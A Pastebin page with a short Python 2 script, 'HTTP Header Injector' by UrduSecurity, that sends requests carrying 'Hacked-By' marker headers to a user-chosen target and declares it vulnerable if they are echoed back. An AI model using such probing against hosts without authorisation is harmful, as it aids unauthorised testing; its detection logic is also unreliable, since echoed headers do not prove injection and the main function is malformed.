stoker

HTTP Header Injector

Jun 21st, 2014
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.69 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import os,urllib2
  4.  
  5. os.system('clear')
  6.  
  7. def title():
  8.     print '''
  9.     -- UrduSecurity Free Tools Library --
  10.     -- Tool: %s --
  11.     -- Visit: %s  --
  12.     -- Author: %s --
  13.     -- Release: %s --
  14.    
  15.     UrduSecurity - a Vally of Knowledge\n\n'''%(__Script__,__visit__,__Author__,__Release__)
  16.  
  17. # define variables
  18. __visit__ = "http://urdusecurity.blogspot.com"
  19. __Author__ = "Muhammad Adeel | Founder UrduSecurity (c) 2014"
  20. __Script__ = "Header Injector =Free= Version"
  21. __Release__ = "01/07/2014"
  22. title()
  23. __host__ = raw_input('Enter Target Host: ')
  24.  
  25. def urdusecurity():
  26.     print '''
  27.    
  28.     -- Thanks For Using %s --
  29.    
  30.      +-+-+-+-+-+-+-+-+-+-+-+-+
  31.      |U|r|d|u|S|e|c|u|r|i|t|y|
  32.      +-+-+-+-+-+-+-+-+-+-+-+-+
  33.    
  34.     \n'''% __Script__
  35.  
  36. def HTTPHeaderInjector():
  37.     pre_payload = urllib2.Request(__host__)
  38.     pre_payload.add_header('UrduSecurity-Cookie', 'Hacked-By-UrduSecurity')
  39.     pre_payload.add_header('UrduSecurity-html', '<html>Stamped By UrduSecurity<br>-Muhammad Adeel-</html>')
  40.     send_payload = urllib2.urlopen(pre_payload)
  41.     if send_payload.headers.has_key('UrduSecurity-Cookie'):
  42.         os.system('clear')
  43.         urdusecurity()
  44.         print '[+] Target is Vulnerable to HTTP Header Injection'
  45.         print send_payload.headers.items()
  46.         raw_input('Hit Enter to Exit')
  47.     elif send_payload.headers.has_key('UrduSecurity-html'):
  48.         os.system('clear')
  49.         urdusecurity()
  50.         print '[+] Target is Vulnerable to HTTP Header Injection'
  51.         print send_payload.headers.items()
  52.         raw_input('Hit Enter to Exit')
  53.     else:
  54.         os.system('clear')
  55.         urdusecurity()
  56.         print '[-] Bad Luck, Try Another Host'
  57.         raw_input('Hit Enter to Exit')
  58.  
  59. HTTPHeaderInjector()
  60.  
  61. def main():
  62.     title()
  63.     urdusecurity()
  64.     if __name__ == '__main__':
  65.         main()
Add Comment
Please, Sign In to add comment